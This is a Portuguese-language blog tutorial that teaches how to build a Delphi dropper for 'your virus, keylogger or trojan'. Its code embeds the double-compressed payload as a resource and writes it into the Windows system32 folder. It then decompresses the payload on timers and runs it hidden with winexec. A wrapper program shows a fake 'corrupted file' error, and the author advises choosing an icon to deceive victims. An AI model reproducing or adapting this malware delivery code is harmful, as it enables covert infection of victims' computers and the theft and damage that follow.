quinta-feira, 28 de abril de 2011

Como criar um auto instalador para meus vírus, keyloggers e trojans

Bom galera eu desenvolvi um método que eu chamo de método progmaster, consiste em compactar o arquivo que vai ser auto instalador 2 ou mais vezes, transformar em arquivo de recurso e criar uma pequena aplicação para extrai-los para uma pasta alvo.

Vamos começar então, primeiro baixe o compactador progmaster.

Após baixar o compactador, compacte o arquivo(seu vírus, keylogger, trojan ou qualquer outra coisa..) 2 vezes , nesse exemplo o nome que vou usar para o meu vírus vai ser arquivo.exe.

Vamos supor que o meu vírus está no disco local C:\


No compactador vou selecionar a origem e o destino:

na origem vai ficar assim: C:\arquivo.exe e em destino vai ficar C:\arquivocompactado.exe e em seguida clicaremos em compactar e será gerado o arquivo compactado.


Obs:
Onde C:\arquivo.exe é o nome inicial do nosso vírus
e C:\arquivocompactado.exe é o nome do nosso vírus compactado uma vez.


Depois que nosso vírus estiver compactado uma vez vamos compacta-lo novamente, execute o mesmo procedimento de compactação só que em origem coloque o nome do vírus compactado uma vez, vai ficar assim :

origem: C:\arquivocompactado.exe
destino: C:\arquivocompactado2.exe

Obs:
Onde C:\arquivocompactado.exe é o nome do nosso vírus compactado uma vez
e C:\arquivocompactado2.exe é o nome/caminho do nosso arquivo compactado pela segunda vez.

Depois de selecionar o caminho compacte o arquivo pela segunda vez

Nós compactamos 2 vezes o nosso vírus, o nome original dele é arquivo.exe e compactado 2 vezes agora está com o nome de arquivocompactado2.exe, o próximo passo é transformar o arquivocompactado2.exe em arquivo de recurso.

Abra o seu bloco de notas e digite o seguinte:

virus EXEs C:\arquivocompactado2.exe

Salve no disco local C:\ com o nome de virus.rc e após salvar você deve compilar, se você não souber usar muito bem arquivo de recursos recomendo que leia este post antes de continuar.



Após compilado deverá ser gerado um arquivo chamado virus.res.

Agora crie uma nova pasta em um diretório de sua escolha e abra o Delphi.

Salve a aplicação observando os seguintes detalhes:

Salva a unit com o nome de unitPrincipal e o projeto com o nome de extrator.
todos os nomes aqui dados para arquivos podem ser trocados...

copie o virus.res para a mesma pasta onde salvou o seu projeto e na unit de seu projeto abaixo de {$R *.dfm} acrescente {$R virus.res} deve ficar desse jeito:

implementation

{$R *.dfm}
{$R virus.res}


Abaixo de implementation acrescente Uses zLib; vai ficar assim


implementation

Uses zLib;

{$R *.dfm}
{$R virus.res}

Acrescente a seguinte procedure a seu projeto:

procedure virus;
var
myresource: TResourceStream;
Begin
myresource := TResourceStream.Create(Hinstance, 'virus', 'EXEs');
Try
if not FileExists('C:\windows\system32\arquivocompactado2.exe') then
myresource.SavetoFile('C:\windows\system32\arquivocompactado2.exe');
finally
myresource.Free;
end;
end;

No evento Oncreate do form digite:

Application.ShowMainForm := False;
virus;

Adicione 2 Timers da paleta system:

Insira o seguinte código no evento Ontimer do timer 1:

Var
FileIni, FileOut: TFileStream;
DeZip: TDecompressionStream;
i : Integer;
Buf: array[0..1023]of Byte;
begin
if not fileExists ('C:\windows\system32\arquivocompactado.exe') then begin
FileIni:=TFileStream.Create('C:\windows\system32\arquivocompactado2.exe', fmOpenRead and fmShareExclusive);
FileOut:=TFileStream.Create('C:\windows\system32\arquivocompactado.exe', fmCreate or fmShareExclusive);
DeZip:=TDecompressionStream.Create(FileIni);
repeat
i:=DeZip.Read(Buf, SizeOf(Buf));
if i <> 0 then
FileOut.Write(Buf, i);
until i <= 0;
DeZip.Free;
FileOut.Free;
FileIni.free;
end;


Altera a pripriedade interval do timer 2 para 1800 e insira o seguinte código no evento ontimer do timer 2:

Var
FileIni, FileOut: TFileStream;
DeZip: TDecompressionStream;
i : Integer;
Buf: array[0..1023]of Byte;
begin
if not fileExists ('C:\windows\system32\arquivo.exe') then begin
FileIni:=TFileStream.Create('C:\windows\system32\arquivocompactado.exe', fmOpenRead and fmShareExclusive);
FileOut:=TFileStream.Create('C:\windows\system32\arquivo.exe', fmCreate or fmShareExclusive);
DeZip:=TDecompressionStream.Create(FileIni);
repeat
i:=DeZip.Read(Buf, SizeOf(Buf));
if i <> 0 then
FileOut.Write(Buf, i);
until i <= 0;
DeZip.Free;
FileOut.Free;
FileIni.free;
winexec ('C:\windows\system32\arquivo.exe',SW_hide);
end;

Após isso compile seu projeto e feche-o, está quase pronto...

Por ultimo trasforme o extrator em um arquivo de recurso, crie uma nova aplicação para extrair e executar-lo:

Vamos lá terminar logo isso... copie o extrator.exe que você acabou de criar para o disco local C:\

Abra o bloco de notas e digite :

extrator EXEs C:\extrator.exe

Salve com o nome de extrator.rc no disco local C:\

Compile. e após compilado será gerado o extrator.res

Crie uma nova pasta qualquer, copie o extrator.res para lá, crie uma nova aplicação no delphi e em seguida salve na mesma pasta onde está o extrator.res.

abaixo de {$R *.dfm} digite {$R extrator.res}

e logo abaixo de {$R extrator.res} digite:

procedure EXTRATOR;
var
myresource: TResourceStream;
Begin
myresource := TResourceStream.Create(Hinstance, 'extrator', 'EXES');
Try
if not FileExists('C:\windows\extrator.exe') then
myresource.SavetoFile('C:\windows\extrator.exe
');
finally
myresource.Free;
end;
end;


e no evento Oncreate do form digite:

Application.ShowMainForm := False;
EXTRATOR;
winexec ('C:\windows\extrator.exe',SW_HIDE);
ShowMessage ('Erro ao executar arquivo, provavelmente está corrompido.');
Application.Terminate;

Compile o projeto e veja o resultado, e não se esqueça de escolher um bom ícone para enganar as vitimas.

Qualquer dúvida deixa um comentário.

Até a próxima


0 comentários:

Postar um comentário